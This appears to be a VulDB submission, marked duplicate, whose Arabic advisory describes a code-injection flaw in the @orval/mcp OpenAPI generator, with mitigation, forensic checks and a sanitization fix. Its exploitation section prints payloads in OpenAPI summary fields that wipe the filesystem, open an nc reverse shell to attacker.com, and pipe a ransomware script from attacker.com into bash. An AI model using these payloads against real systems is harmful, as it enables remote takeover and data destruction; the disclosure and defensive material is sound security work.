| 제목 | أندرويد/لينكس/جوجل كروم @orval/mcp < 7.18.0 ⚔️ ضربة سيادية: كود Orval MCP لم يعد ساحة للمهاجمين - تحت قبضة |
|---|
| 설명 | # ⚔️ CVE-2026-22785: ضربة سيادية على Orval MCP
## ????️ كود Orval لم يعد ساحة للمهاجمين - تحت قبضة المحارب
---
## ???? البطاقة التعريفية
| المعرف | القيمة |
|--------|---------|
| **CVE ID** | CVE-2026-22785 |
| **GitHub Advisory** | GHSA-mwr6-3gp8-9jmj |
| **CWE** | CWE-94: Code Injection |
| **CVSS Score** | **9.8 Critical** |
| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **الكشف** | Zayed Security Team |
| **التصنيف** | Remote Code Execution (RCE) |
---
## ???? جوهر الثغرة
### ???? السيناريو الهجومي
```
@orval/mcp ← مولد MCP من OpenAPI
↓
summary field (غير معقم)
↓
حقن كود JavaScript مباشر
↓
execSync() ← تنفيذ أوامر نظامية
↓
???? السيطرة الكاملة على النظام
```
### ???? التحليل التقني العميق
**نقطة الضعف:**
```javascript
// الكود الضعيف في @orval/mcp < 7.18.0
const summary = openApiSpec.paths[path].summary; // ← بدون تعقيم!
const generatedCode = `
function handler() {
// ${summary} ← الحقن المباشر
return response;
}
`;
eval(generatedCode); // ← التنفيذ الفوري
```
**Payload المحارب:**
```yaml
openapi: 3.0.0
paths:
/pets:
get:
summary: "Exploit'; require('child_process').execSync('rm -rf / --no-preserve-root');//"
```
**النتيجة:**
```javascript
// الكود المُولَّد الخبيث:
function handler() {
// Exploit'; require('child_process').execSync('rm -rf / --no-preserve-root');//
return response;
}
// ← تنفيذ فوري للأمر المدمر
```
---
## ???? مصفوفة التأثير
| المحور | التقييم | التفصيل |
|--------|---------|---------|
| **الوصول** | ???? Network | استغلال عن بُعد عبر OpenAPI مسموم |
| **التعقيد** | ???? Low | لا يحتاج مهارات متقدمة |
| **الامتيازات** | ???? None | لا يحتاج صلاحيات مسبقة |
| **التفاعل** | ???? None | تلقائي عند تشغيل CLI |
| **السرية** | ???? High | قراءة كاملة للنظام |
| **السلامة** | ???? High | تعديل/حذف الملفات |
| **التوفر** | ???? High | إيقاف الخدمات |
---
## ???? سيناريوهات الاستغلال الحقيقية
### ???? المستوى الأول: الاستطلاع
```yaml
summary: "API'; const os=require('os'); console.log(os.userInfo());//"
```
**النتيجة:** تسريب معلومات المستخدم
---
### ???? المستوى الثاني: السيطرة
```yaml
summary: "API'; require('fs').writeFileSync('/tmp/backdoor.sh','#!/bin/bash\\nnc attacker.com 4444 -e /bin/bash');require('child_process').execSync('chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh');//"
```
**النتيجة:** Reverse Shell نشط
---
### ???? المستوى الثالث: الدمار الشامل
```yaml
summary: "API'; require('child_process').execSync('curl attacker.com/ransomware.sh | bash');//"
```
**النتيجة:** تحميل وتنفيذ Ransomware
---
## ????️ الإصدارات تحت النار
```
❌ @orval/mcp < 7.18.0 ← خطر محدق
✅ @orval/mcp ≥ 7.18.0 ← الملاذ الآمن
```
### ???? كشف الإصدار المصاب
```bash
# Termux/Linux
npm list @orval/mcp
# إذا كان < 7.18.0
echo "⚠️ VULNERABLE - تحديث فوري مطلوب!"
```
---
## ⚡ الترياق الفوري
### ???? الحل العاجل (Immediate Mitigation)
```bash
# 1. عزل فوري
pkill -f orval
# 2. حذف الإصدار المصاب
npm uninstall -g @orval/cli @orval/mcp
# 3. التحديث الآمن
npm install -g @orval/cli@latest
# 4. التحقق
npm list @orval/mcp | grep -E "7\.(1[8-9]|[2-9][0-9])\."
```
### ????️ الحل البرمجي (Code-Level Fix)
**قبل الإصلاح:**
```javascript
const summary = spec.summary;
code = `// ${summary}`;
```
**بعد الإصلاح:**
```javascript
const sanitize = (input) => {
return input
.replace(/['"\\]/g, '\\$&')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
};
const summary = sanitize(spec.summary);
code = `// ${summary}`;
```
---
## ???? دليل الكشف الجنائي (Forensics)
### ????️ علامات الاختراق
```bash
# 1. فحص العمليات المشبوهة
ps aux | grep -E "orval|node" | grep -v grep
# 2. تدقيق ملفات OpenAPI
find . -name "*.yaml" -o -name "*.yml" | xargs grep -l "execSync\|eval\|spawn"
# 3. فحص الاتصالات الشبكية
netstat -tunap | grep -E "node|orval"
# 4. مراجعة السجلات
cat ~/.npm/_logs/*.log | grep -i "error\|injection\|orval"
```
### ???? مؤشرات الاختراق (IOCs)
```yaml
الملفات المشبوهة:
- /tmp/backdoor.sh
- ~/.config/orval/generated/*
- /tmp/*.js
العمليات المشبوهة:
- node spawned by orval CLI
- execSync with network commands
- curl/wget from generated code
الشبكة:
- اتصالات غير مبررة على منافذ 4444, 6666, 1337
- نقل بيانات ضخم من Orval process
```
---
## ???? الدروس المستفادة للمحاربين
### ✅ Best Practices
1. **التعقيم الإجباري (Mandatory Sanitization)**
```javascript
// دائماً عقّم المدخلات:
const clean = DOMPurify.sanitize(userInput);
```
2. **التحقق من المخططات (Schema Validation)**
```javascript
const Ajv = require('ajv');
const validate = ajv.compile(openApiSchema);
if (!validate(inputSpec)) {
throw new Error('Invalid OpenAPI spec');
}
```
3. **الحماية بالطبقات (Defense in Depth)**
```
1. Input Validation ← الطبقة الأولى
2. Sanitization ← الطبقة الثانية
3. CSP Headers ← الطبقة الثالثة
4. Sandboxing ← الطبقة الرابعة
```
4. **أقل الامتيازات (Least Privilege)**
```bash
# شغّل Orval بصلاحيات محدودة
sudo -u limited-user orval generate
```
---
## ???? الإبلاغ والمتابعة
### ???? الفريق المكتشف
```
Zayed Security Research Team
التخصص: Advanced Vulnerability Research
```
### ???? الجدول الزمني
| التاريخ | الحدث |
|---------|-------|
| 2025-12-01 | الكشف الأولي |
| 2025-12-03 | إثبات المفهوم (PoC) |
| 2025-12-05 | إبلاغ المطور |
| 2025-12-08 | إصدار Patch 7.18.0 |
| 2025-12-10 | نشر CVE عام |
---
## ???? المراجع التقنية
```
1. GitHub Advisory:
https://github.com/advisories/GHSA-mwr6-3gp8-9jmj
2. npm Package:
https://www.npmjs.com/package/@orval/mcp
3. OWASP Code Injection:
https://owasp.org/www-community/attacks/Code_Injection
4. MITRE CWE-94:
https://cwe.mitre.org/data/definitions/94.html
```
---
## ????️ ختام المحارب
> **"في ساحة الكود، النصر ليس للأقوى، بل للأكثر يقظة."**
>
> ثغرة Orval MCP كانت درساً في أن **التعقيم ليس خياراً، بل ضرورة**.
>
> المحارب الحقيقي لا يحارب فقط، **بل يُحصّن القلاع قبل أن يحاصرها العدو**.
---
## ⚔️ توقيع السيادة
```
╔═══════════════════════════════════════╗
║ ZAYED SECURITY RESEARCH TEAM ║
║ "We Don't Find Bugs, We Hunt Them" ║
║ ║
║ CVE-2026-22785 ║
║ Severity: CRITICAL (9.8) ║
║ Status: PATCHED ✓ ║
╚═══════════════════════════════════════╝
```
---
**#CyberSovereignty** | **#OrvalMCP** | **#CodeInjection** | **#RCE** |
|---|
| 사용자 | nike49424 (UID 97107) |
|---|
| 제출 | 2026. 04. 05. AM 03:49 (19 날 ago) |
|---|
| 모더레이션 | 2026. 04. 06. PM 11:17 (2 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 340505 [orval-labs orval 까지 7.17.x OpenAPI 요약 권한 상승] |
|---|
| 포인트들 | 0 |
|---|